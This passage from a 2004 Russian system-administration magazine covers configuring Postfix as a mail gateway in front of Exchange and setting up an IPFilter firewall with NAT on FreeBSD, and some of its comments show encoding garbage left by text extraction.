вам нужно, это сохранить несколько конфигурационных файлов и при установке новой системы перенести их обратно. А можно поступить еще проще – создать образ жесткого диска. В случае катастрофы нужно будет просто заново записать образ на жесткий диск и обновить конфигурационные файлы. Таким образом, простой системы будет сведен к минимуму. в) Во время восстановления шлюза циркуляция почты внутри предприятия сохраняется. Да и достаточно поменять несколько цифр, чтобы почта стала уходить по другому маршруту.

36

г) Настройка Postfix на порядок проще и даже используя значения по умолчанию, он предлагает достаточный уровень безопасности, чего не скажешь про Exchange. Установите сперва Postfix на шлюз, а потом разбирайтесь с настройками Exchange сколько вам влезет, не опасаясь совершить те или иные ошибки, которые приведут к нежелательным последствиям. д) Наконец, обслуживание UNIX + Postfix требует куда меньше затрат и душевных сил. Это для тех, кто может сказать, что эту схему можно организовать связкой Windows + Exchange, что и рекомендуется некоторыми статьями и книгами про Exchange. Да и злые вирусо-трояно писатели как будто сговорились и пишут в основном для Windows. Я хотел бы ещё вернуться к пункту «а», где говорилось о возможности получить доступ к данным через дыры IIS. При чем тут IIS, скажете вы, когда кроме 25-го порта на Exchange-сервере ничего не открыто. Здесь имелась в виду служба Outlook Web Access, которая входит в состав Exchange и позволяет посредством веб-интерфейса, похожего на Outlook, получить доступ к почтовому ящику, расписаниям, общим документам. Это может быть удобно для мобильных пользователей. Если вам нужна эта служба, то придётся дать доступ к веб-серверу. Это можно сделать опять же средствами NAT, но тогда все усилия, направленные на скрытие Exchange-сервера от внешнего мира, сходят на нет. На помощь может прийти Apache, сконфигурированный в режиме обратного прокси. Он может быть установлен на том же шлюзе или на другом компьютере. Если не хочется ставить Apache, можно попробовать программу Pound (http://www.apsis.ch/pound/), которая предназначена как раз для этих целей. Если вам подходит этот вариант, то нужно сделать совсем немного, конечно, за исключением вышеописанного. Установка Exchange, Postfix и операционных систем здесь не описывается. Естественно, для придания Postfix дополнительной функциональности, такой как защита почты от вирусов, smtp-аутентификация, вам потребуется установить дополнительный софт, например: drweb для защиты от вирусов, для smtp-аутентификации postfix использует sasl. Функции защиты от спама и блокировку нежелательной как почты, так и почтальонов, можно осуществить встроенными средствами Postfix. На эти темы есть достаточно документации. Итак, у вас Postfix на шлюзе. Exchange в локальной сети. И хотя в контексте данной статьи слово «шлюз» применяется к компьютеру, одним интерфейсом смотрящим в Интернет, другим в локальную сеть, на практике это может быть специально выделенная машина с одним интерфейсом, например в сети, где все адреса реальные, а функции брандмауэра выполняет другой компьютер или аппаратный брандмауэр, который пропускает почтовый трафик только снаружи к шлюзу и в обратном направлении. Начнем с Postfix. Не забыли, что MX-запись в DNS указывает на него. Повторяю еще раз, что мы описываем взаимодействие Postfix и Exchange, и если вы не ви-


администрирование дите здесь строчек, касающихся smtp-аутентификации или еще чего-либо, то это не значит, что этого не должно быть в конфигурации вашего сервера. Открываем для редактирования файл main.cf. Имя вашей машины:

чем, с таким же успехом вместо адреса можно указать доменное имя Exchange без скобок. После сохранения файлов main.cf и transport даем команду: postmap transport

myhostname = host.domain.ru

Имя вашего домена: mydomain = domain.ru

Ваши доверенные сети: mynetworks = 127.0.0.0/8, 192.168.100.0/24

или вместо всей сети 192.168.100.0 можно указать только адрес Exchange, к примеру: mynetworks = 127.0.0.0/8, 192.168.100.20

Таким образом, вы запрещаете внутренним клиентам использование Postfix в обход Exchange. Локальные получатели, оставить значение пустым, так как их на этой машине попросту нет: local_recipient_maps =

Если мы должны считать своими несколько доменов, то их можно перечислить здесь: mydestination = $myhostname, localhost.$mydomain, ↵ $mydomain, domain2.ru, domain3.ru

Указываем, в каком файле у нас будет описан маршрут до Exchange: transport_maps = hash:/usr/local/etc/postfix/transport

В файле transport мы описываем, на какой компьютер будет пересылаться почта для наших доменов: domain.ru domain2.ru domain3.ru

smtp:[192.168.100.20] smtp:[192.168.100.20] smtp:[192.168.100….]

Скобки нужны, чтобы Postfix не пытался проверять через DNS соответствие имени IP-адресу Exchange. Впро-

№5(18), май 2004

которая при первом вызове создаст файл transport.db, а в дальнейшем будет обновлять этот файл, учитывая изменения в файле transport. Далее даем команду: postfix reload

которая перезапустит Postfix с учетом изменений в файле main.cf. С Postfix закончили, переходим к Exchange. Exchange должен быть настроен на обработку почты для наших доменов. Открываем System Manager, переходим к Connectors, и выбираем New → SMTP Connector. На вкладке General указываем, что наружу почта должна переправляться через адрес Postfix в квадратных скобках. На вкладке Address Space щелкаем добавить Address type – SMTP. Сохраняем настройки и перегружаем Exchange. Настройка Apache в качестве обратного прокси может быть темой для отдельной статьи. Приведу лишь простейший пример для доступа к OWA на основе Apache 2.x. В файле httpd.conf раскомментируем строчки: LoadModule proxy_module libexec/apache2/mod_proxy.so LoadModule proxy_http_module libexec/apache2/mod_proxy_http.so

Далее добавим следующие строчки: ProxyRequests Off ProxyPass /exchange http://192.168.100.20/exchange ProxyPassReverse /exchange http://192.168.100.20/exchan

Где 192.168.100.20, как вы наверное уже догадались, наш Exchange-сервер. Теперь удаленный пользователь, набирая в браузере http://адрес_шлюза/exchange, получает доступ к Outlook Web Access. Вот, собственно, и все. И хотя здесь представлена простая схема, она с успехом может применяться в более сложных сетях, когда есть несколько почтовых серверов, которые обслуживают несколько доменов, и не обязательно это должны быть Exchange-сервера.

37


администрирование

IPFilter С САМОГО НАЧАЛА

ТАТЬЯНА ИЛЬЧЕНКО Для чего нужен пакетный фильтр? Это еще один инструмент для построения межсетевых экранов или, как еще их называют, firewall (в переводе с англ. – «огненная стена»), с помощью фильтрации трафика по заданным условиям. Способ защиты критически важных сегментов в точках входа в публичные сети и трансляции IP-адресов из немаршрутизируемых частных сетей в реальные IP-адреса. В статье мы поговорим о том, как быстро настроить и запустить межсетевой экран с функциями трансляции адресов с помощью IPFilter на сервере под управлением ОС FreeBSD. Почему IPFilter? Во-первых, гибок и не громоздок. Является пакетным фильтром с функцией контроля соединений. Для серверов под большой нагрузкой это может стать критичным фактором при выборе программного обеспечения. Правила пишутся вполне понятным и почти привычным языком (последнее, правда, чисто субъек-

38

тивное мнение автора) – логическое построение правил интуитивно понятно и хорошо воспринимается, что тоже немаловажно при их большом количестве. Присутствуют такие удобные функции, как создание групп правил и ведение нескольких лог-файлов (в зависимости от того, что хочется фиксировать и потом анализировать). Помимо этого присутствует кросс-платформенность1. Поддержка реализована на уровне ядра операционной системы, впрочем, как и у «традиционного» IPFW, существенных недостатков которого, кроме отсутствия некоторых возможностей IPFilter, автор статьи на своем опыте использования межсетевых экранов не берется назвать. На момент написания статьи текущая версия IPFilter v.4.1. Однако несмотря на заявление разработчиков о том, что она полностью протестирована в среде FreeBSD 4.9RELEASE, установить её с ходу не удалось2, поэтому мы


администрирование рассмотрим предыдущий релиз v3.4.31 (336), включенный, к слову, в ядро FreeBSD 4.9-RELEASE. Все примеры даны в среде FreeBSD 4.9-RELEASE для IPFilter этой версии, которая по умолчанию поддерживается ядром FreeBSD. Официальная страница IPFilter расположена по адресу: http://coombs.anu.edu.au/~avalon/ipfilter.html. Итак, приступим к установке, конфигурированию и запуску3. Начнем, пожалуй, с того, как это работает и что нам понадобится сделать до того, как мы задействуем IPFilter4. В качестве описания конфигурации пакетного фильтра используется обычный текстовый файл, каждая строка которого описывает правило фильтрации. Строки, начинающиеся со знака «#», воспринимаются как комментарии. Логическая структура правил IPFilter выглядит примерно следующим образом: <ACT> [Res] <pTYP> [aLOG] [aKEY] <nDEV> [fastroute] ↵ <tPROT> <aSRC> <aDST> [pDST] [FLAGS][KW]

где: ! <ACT> – действие, которое будет предпринято при обнаружении пакета, подпадающего под описываемое правило (pass/block); ! [Res] – какой ответ отправить5 запрашивающей стороне (для блокируемых пакетов); ! <pTYP> – тип пакета (in/out); ! [aLOG] – фиксировать ли в файле протокола описанные пакеты (log); ! [aKEY] – ключевое слово quick, означающее, что если анализируемый пакет подпадает под данное правило, то дальнейший просмотр правил прекращается; ! <nDEV> – устройство, физический интерфейс, на котором «искать» совпадение с правилом для пакетов; ! [fastroute] – ключевое слово, используемое для сокрытия присутствия firewall как узла сети (пакет будет переправлен без изменения в TTL дальше по маршруту); ! <tPROT> – протокол (ip/udp/tcp); ! <aSRC> – адрес-источник пакета; ! <aDST> – адрес-приемник пакета; ! [pDST] – порт, на который адресован пакет; ! [FLAGS] – управляющие флаги; ! [KW] – директивы (keywords). В угловых скобках приведены обязательные параметры/опции, а в квадратных соответственно те, наличие которых определяется конкретными обстоятельствами и не является безоговорочно обязательным. Вооружившись этим представлением, создадим файл конфигурации, описывающий довольно простой набор правил. К примеру, нам требуется дать возможность удаленным пользователям «снаружи» работать с FTP/HTTP(S)сервисами6, а нашему почтовому серверу – обмениваться почтой с окружающим миром по SMTP. Кроме того, необходимо описать правила для нашего DNS-сервера. Внешний интерфейс fxp1 имеет адрес 213.27.10.хх и маску 255.255.255.255, внутренняя сеть ограничена адресным пространством 192.168.10.0 и маской 255.255.255.0, что соответствует описанию сети как 192.168.10.0/24.

№5(18), май 2004

Руководствоваться для начала будем принципом «что не разрешено, то запрещено»7: pass out quick on lo0 proto ip from 127.0.0.0/8 to 127.0.0.0/8 pass in quick on lo0 proto ip from 127.0.0.0/8 to 127.0.0.0/8 # Áëîêèðóåì âñå âõîäÿùèå IP-ñîåäèíåíèÿ íà lo0 # èç ñåòè 127.0.0.0/88 block in quick on lo0 proto ip from any to 127.0.0.0/8

Если входящий/исходящий пакет подпадает под эти правила, мы прекращаем поиск соответствий. При этом фиксироваться в файле протокола прохождение таких пакетов через интерфейс lo0 не будет. # Áëîêèðóåì âñå âõîäÿùèå IP/TCP/UDP-ñîåäèíåíèÿ # íà âíåøíåì èíòåðôåéñå block in log on fxp1 proto ip from any to any block in log on fxp1 proto tcp from any to any block in log on fxp1 proto udp from any to any

Обратим внимание, что все пакеты (запрещенные нами входящие соединения) не будут отбрасываться сразу, а будут передаваться дальше на проверку (отсутствует ключевое слово quick). Если соответствующего разрешения не будет найдено, пакет будет блокирован в соответствии с этими правилами. А «incident will be reported»9, как говорится. Сразу за этими строчками мы начнем добавлять правила в зависимости от уже продуманной к этому моменту (хорошо бы даже четко описанной «на бумаге») политики нашей «огненной стены». Для экономии времени на обработке файла с правилами условимся прекращать дальнейшее расcмотрение правил10 при подпадании пакета под заданные условия. Заметим, что каждый сервис потребует как минимум два правила: для входящих и для исходящих пакетов на каждый используемый сервисом порт. Также, памятуя о специфике каждого сервиса, будем задавать управляющие флаги, не забывая обращаться к документации по протоколам и к IPFilter Based Firewalls HOWTO11.

FTP Предположим, у вас имеется FTP-сервер, к которому вы хотите открыть публичный доступ. Как известно, в работе по протоколу FTP используется два порта – для передачи команд и, собственно, для передачи данных. В нотации стека протоколов TCP/IP для протокола FTP используется протокол транспортного уровня TCP. Соответственно для этого сервиса правила будут выглядеть следующим образом: pass out quick on fxp1 log proto tcp/udp from ↵ 213.27.10.xx/32 to any keep state pass in quick on fxp1 log proto tcp from ↵ any to 213.27.10.xx/32 port = 21 flags S keep state

Директива flag означает, что фильтр будет отслеживать флаги в каждом пакете и, если нужно, сравнивать с заданными флагами в правилах IPFilter. В данном случае мы будем отслеживать пакеты с установленным SYN – этот флаг присутствует в пакетах при инициализации TCP-соединения. Здесь же мы впервые используем управляющий флаг keep state. Остановимся на нем поподробнее. Сами по

39


администрирование себе пакетные фильтры не умеют различать начало, середину или конец любой TCP/UDP/ICMP, а ориентируются по установленному в пришедшем пакете FIN-флагу. Администратору же в данном случае остается только надеяться на то, что такие пакеты не будут FIN-сканированием. В IPFilter применена методика keeping state12 для распознавания установленных сессий и отличия их от действий злоумышленников. Разработчики исходили из того, что раз любая TCP/IP-сессия проходит в три этапа: старт (установка соединения), соединение и разрыв соединения (все это может уместиться и в одном-единственном пакете) – при этом, в общем случае (исключая злонамеренные действия), должны иметь место именно все три стадии. Если старт сессии разрешен правилами фильтра, то понятно, что последующие пакеты этой сессии (subsequent-пакеты) и ее стоп-пакет тоже должны быть пропущены. Так же, как если запрещено начало сессии, то и последующие пакеты будут автоматически блокированы. Такой подход также позволяет избежать IP stack overflow – переполнения IP-стека. Более подробное описание можно найти в IPFilter Based Firewalls HOWTO, где помимо описания работы IPFilter даны общие рекомендации по построению межсетевого экрана. Разобравшись с keep state, обратимся к следующему управляющему флагу keep frags и рассмотрим его назначение. Дело в том, что использование keep state почти решает проблему защиты от FIN-сканирования. А в задаче настройки фильтрации нет места «почти»-решениям. Флаг keep frags позволяет IPFilter отмечать и в дальнейшем отслеживать фрагментированные пакеты, пропуская только ожидаемые фрагменты и отфильтровывая подложные.

HTTP(S) #http pass in log quick on fxp1 proto tcp from any ↵ to 213.27.10.xx/32 port = 80 flags S keep state keep frags

Для данного сервиса нам потребуется описать только правило для входящих пакетов, ибо одно из последних правил будет выглядеть следующим образом: pass out log quick on fxp1 from 213.27.10.xx/32 to any

Это позволяет не описывать правила для исходящих пакетов от нашего веб-сервера (подразумевается, что вебсервер не будет самостоятельно инициировать TCP-соединения, а станет только отвечать на входящие запросы). # https pass out log quick on fxp1 proto tcp from ↵ 213.27.10.xx/32 to any port = 443 keep state keep frags pass in log quick on fxp1 proto tcp from any ↵ to 213.27.10.xx/32 port = 443 keep state keep frags

Эти правила дадут возможность пользователям или приложениям использовать в работе протокол Secure HTTP. Замечание. Следует помнить, что даже если все запросы на веб-ресурсы от пользователей в локальной сети принудительно перенаправляются на порт вашего proxy-

40

сервера, для некоторых клиентских программ (в частности, использующих метод CONNECT) – таких как, например, binkd или ICQ – может понадобиться разрешение для адресов локальной сети на работу по соответствующим портам через интерфейс, который будет «охраняться» нашим межсетевым экраном, то есть в нашем случае – через интерфейс fxp1.

SMTP pass out log quick on fxp1 proto tcp from ↵ 213.27.10.xx/32 to any port = 25 keep state keep frags pass in log quick on fxp1 proto tcp from any ↵ to 213.27.10.xx/32 port = 25 keep state keep frags

DNS pass in log quick on fxp1 proto udp from ↵ any to 213.27.10.xx/32 port = 53 keep frags pass out log quick on fxp1 proto udp from ↵ 213.27.10.xx/32 to any port = 53 keep frags pass in log quick on fxp1 proto tcp from ↵ any to 213.27.10.xx/32 port = 53 keep state keep frags pass out log quick on fxp1 proto tcp from ↵ 213.27.10.xx/32 to any port = 53 keep state keep frags

Здесь нам понадобятся 4 правила, так как описываемый сервис использует в работе на транспортном уровне TCP и UDP, соответственно и правила фильтрации должны это учитывать. Рассмотрим теперь случай, когда нам необходимо пропускать в оба направления трафик на компьютере в нашей локальной сети, не назначая ему реального адреса. Подобная ситуация может возникнуть, если в вашей сети есть, например, ПО систем «клиент-банк», установленное на машине одного из сотрудников. Часто такие системы не ориентированы на использование обычных proxy-серверов, и приходится администратору задействовать проброс соединений прямо на бухгалтерскую машину. В этом случае придется использовать не только правила firewall, но и транслирование адресов в нотации NPAT13 – применение ipnat описано чуть дальше. Итак, вот как будут выглядеть правила фильтрации трафика для такой программы (предполагается, что 194.84.xx.xx – адрес сервера, куда надо подсоединяться клиентской программе, 192.168.10.48 – адрес машины, где эта клиентская программа установлена): pass out log quick on fxp1 proto tcp from 192.168.10.48/32 ↵ to 194.84.xx.xx/32 port = 1352 keep state keep frags pass in log quick on fxp1 proto tcp from 194.84.xx.xx/32 ↵ to 192.168.10.48/32 port = 1352 keep state keep frags

Завершим же описание правил следующим образом: pass out log quick on fxp1 from 213.27.10.xx/32 to any block out log quick on fxp1 from any to any

То есть, все пакеты, для которых не найдено ранее соответствующих правил, будут фильтроваться следующим образом: безоговорочно пропускать все исходящие с нашего реального адреса пакеты, остальные исходящие – также безоговорочно блокировать. Входящие пакеты блокированы у нас в начале описания правил, помните?


администрирование Замечание. Внимательно следите за тем, чтобы правила не повторялись, иначе при запуске фильтр сообщит об ошибке:

Теперь проверим права на файлы ipf.rules и ipnat.rules – они должны быть выставлены в 644, владелец root.

Первая цифра – это номер строки, где возникла ошибка, далее следует ее краткое описание, поясняющее, что ошибка возникла при попытке добавить/вставить правило и заключается она в том, что такое правило уже существует и занесено в активный набор правил14. После того как мы описали все правила и сохранили файл с ними, к примеру, с именем ipf.rules в /etc, позаботимся о том, чтобы наши пользователи, имеющие адреса из подсетей, зарезервированных под private networks – 192.168/16, 172.16/12, 10/8 (такие подсети еще называют non-routeable – немаршрутизируемые15 или «серые»), – могли получить доступ к ресурсам Интернета через наш «firewall-интерфейс». Воспользуемся для этого входящим в состав IPFilter модулем ipnat. Создадим там же в /etc файл ipnat.rules16. Тут же, если вам необходимо в силу обстоятельств использовать перенаправление по портам из внутренней сети во внешнюю, нужно добавить примерно вот такие строки (не забывая про вышеописанный случай с ПО «клиент-банк»). То есть, наш файл ipnat.rules будет выглядеть примерно следующим образом:

На этом подготовительный этап закончен, и мы переходим непосредственно к запуску IPFilter. В общем случае, от вас даже не потребуется ничего сложного, поскольку IPFilter в системе уже есть18, и надо только «включить» его, что мы сейчас и рассмотрим подробнее. Вам потребуется добавить в конфигурационный файл ядра системы (как правило, он располагается в /usr/src/ sys/i386/conf/) следующие опции19:

map fxp1 192.168.10.0/16 -> 0/32 map fxp1 192.168.10.48/32 -> 213.27.10.xx/32 rdr fxp1 213.27.10.xx/32 port 1352 -> 192.168.10.48 port 1352

Строки, начинающиеся с ключевого слова map, описывают трансляцию адресов. Указываем интерфейс, IPадрес, который нуждается в такой подмене, и маску для этого адреса, далее следуют адрес и маска, на которые будет заменена соответствующая часть пакетов, выходящих с нашего сервера. У нас подобных правил будет два: трансляция всех «серых» IP-адресов нашей сети в «фальшивый» адрес 0/32 и IP-адреса, для которого мы будем использовать проброс соединений, в реальный IP-адрес нашего межсетевого экрана. Строка со словом rdr описывает именно проброс соединений, о котором мы говорили выше, когда рассматривали ситуацию с ПО «клиент-банк», не умеющем использовать прокси-сервер. После этого нам остается внести необходимые изменения в файл rc.conf17: # îòêëþ÷àåì NAT-äåìîí, îñòàâøèéñÿ îò IPFW natd_enable="NO" # çàïóñê IPFilter ïðè ñòàðòå ñèñòåìû ipfilter_enable="YES" # ïóòü ê êîìàíäå ipf, åñëè âàì íåèçâåñòåí whereis, ipf âàì ïîìîæåò ipfilter_program="/sbin/ipf" # ïîëíûé ïóòü ê ôàéëó ñ ïðàâèëàìè ôèëüòðàöèè ipfilter_rules="/etc/ipf.rules" # çàïóñê ipnat ïðè ñòàðòå ñèñòåìû ipnat_enable="YES" # ïóòü ê êîìàíäå ipnat, îïÿòü æå íàõîäèòñÿ ïî whereis ipnat ipnat_program="/sbin/ipnat" # ïîëíûé ïóòü ê ôàéëó ñ ïðàâèëàìè òðàíñëÿöèè è ðåäèðåêòà ipnat_rules="/etc/ipnat.rules" # äîïîëíèòåëüíûå ïàðàìåòðû êîìàíäû ipnat ipnat_flags="" # çàïóñê ipmon ïðè ñòàðòå ñèñòåìû ipmon_enable="YES" # ïóòü ê êîìàíäå ipmon, òóò óæå ïîíÿòíî, äà? ipmon_program="/sbin/ipmon" # ïàðàìåòðû êîìàíäû ipmon ipmon_flags=" -D /var/log/ipmon.log &"

№5(18), май 2004

options options

IPFILTER IPFILTER_LOG

# âêëþ÷àåì ïîääåðæêó ipf # ëîãèðîâàíèå ipf

Кроме этого, надо увеличить количество псевдо-устройств bpf (Berkley Packet Filter), используемых для анализа и фильтрации пакетов. Выбор конкретного значения напрямую зависит от того, сколько у вас будет использоваться интерфейсов для фильтрации. Замечание. Этот параметр в ядре ОС определяется не только количеством физических устройств, но и количеством процессов, которые будут обращаться к этим устройствам в процессе своей работы – tcpdump, nessus etc. В нашем случае один сетевой интерфейс используется IPFilter и добавим еще три bpf-устройства на случай большой загруженности и если нам понадобятся в дальнейшем утилиты вроде tcpdump. pseudo-device

bpf

4

После сделанных изменений в конфигурации ядра пересобираем его (подробно о конфигурировании и компиляции ядра FreeBSD можно посмотреть тут: http:// www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/ kernelconfig.html). Перезагрузимся (это потребуется из-за пересборки ядра системы, так как «на лету» заменить одно ядро другим нельзя) и теперь мы можем проверить функционирование нашего межсетевого фильтра. Для этого можно воспользоваться, например, широко извеcтной утилитой nmap (http://www.insecure.org/nmap/) или любым сканером безопасности: X-Spider, Nessuss и прочие. Еще один немаловажный момент: тестировать сканированием межсетевой экран рациональнее с другого компьютера (если вы экспериментируете с IP-адресом, доступным из внешнего мира, то и неплохо иметь возможность просканировать его снаружи) – поскольку полученный результат будет более точно отражать положение вещей. Да и в реальной жизни скорее всего проверять на прочность межсетевой экран будут снаружи. Однако не мешает проверить его и изнутри вашей сети, поскольку по статистике около 80% всех инцидентов в сфере информационной безопасности происходит по вине собственных сотрудников компании20. Вот как выглядит, к примеру, результат команды nmap, направленной на наш «учебный» межсетевой экран с другого компьютера и из другой подсети:

41


администрирование # cd /usr/local/etc/logrotate.conf.sample # cp logrotate.conf.sample logrotate.conf

Затем добавляем в только что созданный предыдущей операцией файл logrotate.conf следующие строки:

Кроме вышеописанных возможностей, в пакет IPFilter входят различные дополнительные утилиты, позволяющие контролировать функционирование межсетевого экрана, такие как, например, ipfstat или ipmon. Последнюю, к слову сказать, мы использовали для ведения лога IPFilter. Различие между утилитами ipfstat и ipmon в том, что первая показывает общую статистику работы IPFilter, а вторая фиксирует каждый пакет, подпавший под такое из правил, для которого указана опция log. Если вы посмотрите в /var/log/, то увидите там довольно быстро растущий файл с именем ipmon.log – именно его мы описали в rc.conf, как файл протокола для ipmon. Утилита ipmon, входящая в дистрибутив IPFilter, которую мы использовали для формирования файла протокола нашего пакетного фильтра, записывает всю информацию о его работе в файл /var/log/ipmon.log: Если при первом запуске ipmon не находит указанный в качестве параметра файл протокола, то он будет создан именно с такими правами, как указано выше. При достаточно большой нагрузке (порядка 200-300 Мб трафика в сутки) файл протокола разрастается тоже немаленькими темпами, а дисковое пространство небезгранично. Поэтому надо предусмотреть и ротацию этого файла, то есть периодическое архивирование, его «обнуление» и перезапуск ipmon. Каждый системный администратор решает подобные задачи, исходя из собственного опыта, знаний и умений. Я расскажу о возможном решении с помощью утилиты logrotate. Эта утилита стала уже стандартом де-факто для автоматической ротации файлов протоколов операционной системы и прикладного программного обеспечения. Странно, что по умолчанию ее не оказалось в поставке FreeBSD4.9 RELEASE, но она есть в портах. Коротко расскажу про установку. Тут совсем просто (никаких коллизий возникнуть не должно, за исключением установки недостающих пакетов, но на то она и установка из портов, чтобы все сделать самостоятельно): # cd /usr/ports/sysutils/logrotate # make # make install

После того как компиляция и установка завершены, стоит внимательно изучить руководство к утилите logrotate, поэтому: # man logrotate

Внимательно изучив это руководство, легким движением руки создаем свой файл конфигурации logrotate:

42

# íà÷àëî îïèñàíèÿ, óêàçûâàåì ïóòü, ê ôàéëó ïðîòîêîëà /var/log/ipmon.log { daily # ïåðèîäè÷íîñòü ðîòàöèè – åæåäíåâíî rotate 14 # êîëè÷åñòâî õðàíèìûõ ôðàãìåíòîâ missingok # îòñóòñòâèå ôàéëà ipmon.log íå ÿâëÿåòñÿ # îøèáêîé notifempty # íå îáðàáàòûâàòü, åñëè ôàéë ïóñòîé noolddir # äåðæàòü âñå ôàéëû â îäíîì è òîì æå # êàòàëîãå compress # ñæèìàòü «ðîòèðîâàííûå» ôðàãìåíòû postrotate # çäåñü ìû îïèñûâàåì, ÷òî íóæíî ñäåëàòü # ïîñëå ðîòàöèè – ïåðåçàïóñòèòü ïðîöåññ # ipmon /sbin/killall –HUP ipmon endscript # êîíåö îïèñàíèÿ äåéñòâèé ïîñëå ðîòàöèè } # êîíåö îïèñàíèÿ ðîòàöèè ôàéëà ïðîòîêîëà # IPFilter

После того как мы отредактировали файл конфигурации logrotate.conf, вносим в /etc/crontab следующую строку: 0 1 * * * /usr/local/sbin/logrotate –s ↵ /var/lib/logrotate.status /usr/local/etc/logrotate.conf

Теперь ротация файла протокола IPFilter будет производиться 1 раз в сутки. Решение не единственное – архивирование, «обнуление» файла протокола и перезапуск в случае необходимости использующего его процесса можно реализовать несколькими способами, в частности с помощью syslogd или посредством создания собственного сценария на shell/PERL etc. При первом запуске IPFilter в /dev/ появится наряду с прочими необходимыми устройство ipl, из которого ipmon&ipfstat и читают необходимые данные о жизнедеятельности пакетного фильтра. А при отключении межсетевого экрана в ядре и пересборки/установки последнего эти устройства будут удалены из /dev. Обратимся же теперь к такому немаловажному вопросу, как манипулирование правилами фильтрации и транслирования. Ведь не станем мы каждый раз перезагружать сервер после изменения файлов ipf.rules и/или ipnat.rules – будем использовать соответствующие команды ipf и ipnat. В IPFilter есть два типа наборов правил (ruleset) – активный и неактивный. По умолчанию все операции (загрузка/сброс правил) производятся над активным набором. Неактивный (манипулирование этим набором осуществляется с помощью параметра -I команды ipf) может быть полезен при отладке – его использование помогает протестировать новые правила без сброса активного набора правил и вмешательства таким образом в работу «боевого» межсетевого экрана. Переключение между двумя наборами active/inactive производится с помощью параметра командной строки -s. Таким образом, мы можем создать копию работоспособного набора правил, сохранив его с другим именем, и использовать его потом для тестирования и отладки изменений. Чтобы загрузить правила IPFilter, воспользуемся такой командой: # ipf -Fa -f /etc/ipf.rules


администрирование Эта команда сбросит текущий активный набор правил и загрузит в него правила, описанные в указанном файле ipf.rules. Для ipnat подобная команда будет выглядеть следующим образом: # ipnat -CF -f /etc/ipnat.rules

Вообще говоря, параметры командной строки у ipf и ipnat во многом совпадают, но все же не мешает внимательно изучить соответствующие разделы man-страниц для получения более полной информации об этих командах.

Заключение Хочется отметить, что здесь описаны только основы21 построения межсетевого экрана на базе IPFilter, достаточные для того, чтобы быстро развернуть его на сервере с минимальными затратами времени. Однако рассмотренными в данной статье возможности IPFilter не ограничи1

2

3

4 5

6

7

8

Во всяком случае, распространяемая на UNIX-подобных ОС. Для ОС семейства Windows IPFilter работает в окружении Cygwin. Впрочем, и долгое разбирательство, которое выявило конфликт с передачей параметров IPFilter, должного эффекта не возымело, к сожалению. Предполагается, что читатель в достаточной мере знаком с принципами работы межсетевого экрана. В противном случае могу посоветовать книги Building Internet Firewall, Chapman&Zwicky, O’Reilly and Associates и TCP/ IP Illustrated, Vol.7, Stevens, Addison-Wesley. Здесь мы намеренно начнем не с того, как «включить», а с того, как «подготовиться к включению». Для блокируемых пакетов. Иногда полезно вводить в заблуждение злоумышленника, подсовывая ему , например, «Destination host is unreachable» или RST вместо того, чтобы просто сбросить пакет, что будет свидетельствовать о наличии пакетного фильтра, тогда как в этом случае фильтрация будет скрытой. Однако простой сброс пакетов защитит от некоторых типов атак на переполнение ресурсов. Предполагается, хотя это и не играет ключевой роли, что все описанные сервисы находятся на том же сервере, где мы «строим» firewall. Замечание: вообще при построении межсетевых экранов считается дурным тоном размещать публичные сервисы (такие как SMTP, FTP или HTTP) на тех же серверах, т.к. это снижает общий уровень защиты, но и не всегда в небольших сетях есть возможность разнести эти службы. То есть запрещаем все и будем по мере необходимости добавлять разрешающие правила, а не наоборот – я исхожу из того, что из потенциально возможных 65535 портов разрешения требуются меньшей части, однако не исключено, что для начала вам придется воспользоваться запретительной практикой (см. далее о конфигурировании ядра системы для запуска IPFilter). Очень часто при попытках атак злоумышленники используют подделку технической информации в пакете, заменяя реальный адрес источника на адрес из немаршрутизируемой сети 127/8.

№5(18), май 2004

ваются. За рамками нашего разговора остались создание групп правил, уровни ведения логов и многое другое. Все это можно найти в упоминавшемся уже несколько раз документе IPFilter Based Firewalls HOWTO, MAN-страницах и в различных сборниках FAQ, разбросанных на просторах Сети. А поскольку главный критерий теории – практика, экспериментируйте, господа! При написании данной статьи использовались следующие документы: 1. IPFilter Based Firewalls HOWTO – http://www.obfuscation.org/ ipf/ 2. FreeBSD firewall using IP Filter by Hoang Q. Tran 3. IPFilter FAQ – http://www.phildev.net/ipf/index.html 4. IPFilter Examples – http://coombs.anu.edu.au/~avalon/ examples.html 5. Test the firewall system – http://www.cert.org/securityimprovement/practices/p060.html 9 10 11 12

13

14 15 16

17

18

19

20

21

Имеется в виду запись информации о пакете в файл протокола. Это мы будем регулировать ключевым словом quick в описании правил фильтрации. Данный документ можно найти по адресу: http:// www.obfuscation.org/ipf/. В ipfw/ipfwadm также реализованы алгоритмы защиты от подобных действий злоумышленников (директивы setup/established). NPAT – Network and PortAddress Translation – позволяет подменить не только адрес, но и порт источника или назначения пакета. О том, какие наборы правил различает IPFilter. См. RFC-1918 «Address Allocation for Private Internets». Подробнее о модуле ipnat можно прочитать в IPFilter Based Firewalls HOWTO, о котором не раз упоминается в этой статье. К слову сказать, на днях я натолкнулась на патч для файла rc.firewall, позволяющий использовать его и для конфигурирования IPFilter: http://www.swcp.com/~synk/ ipfmerge.patch. Поскольку поддержка IPFilter реализована на уровне ядра операционной системы, как таковая установка может потребоваться только в случае смены версии, и ее мы рассмотрим далее. В ядро FreeBSD 4.9-RELEASE включена поддержка IPFilter v. 3.4.31(336). Все доступные опции ядра можно посмотреть в файле описания опций ядра вашей версии ОС – LINT, который располагается там же, где и файл конфигурации ядра ОС. Разумеется, речь идет об общем количестве инцидентов. Но ведь никто не оградит вас от наличия в коллективе какого-нибудь cool-hacker? Да и firewall лучше задействовать и для внутреннего сетевого интерфейса – по аналогии с внешним, думаю, это будет несложно сделать, исходя из конкретных обстоятельств. В ближайшее время планируется написание статьи об использовании таких возможностей IPFilter, как группы правил и ведение нескольких файлов протоколов.

43


администрирование

ROLE BASED ACCESS CONTROL (RBAC) В SOLARIS 9

ДМИТРИЙ СЕЛЕЗНЕВ 44


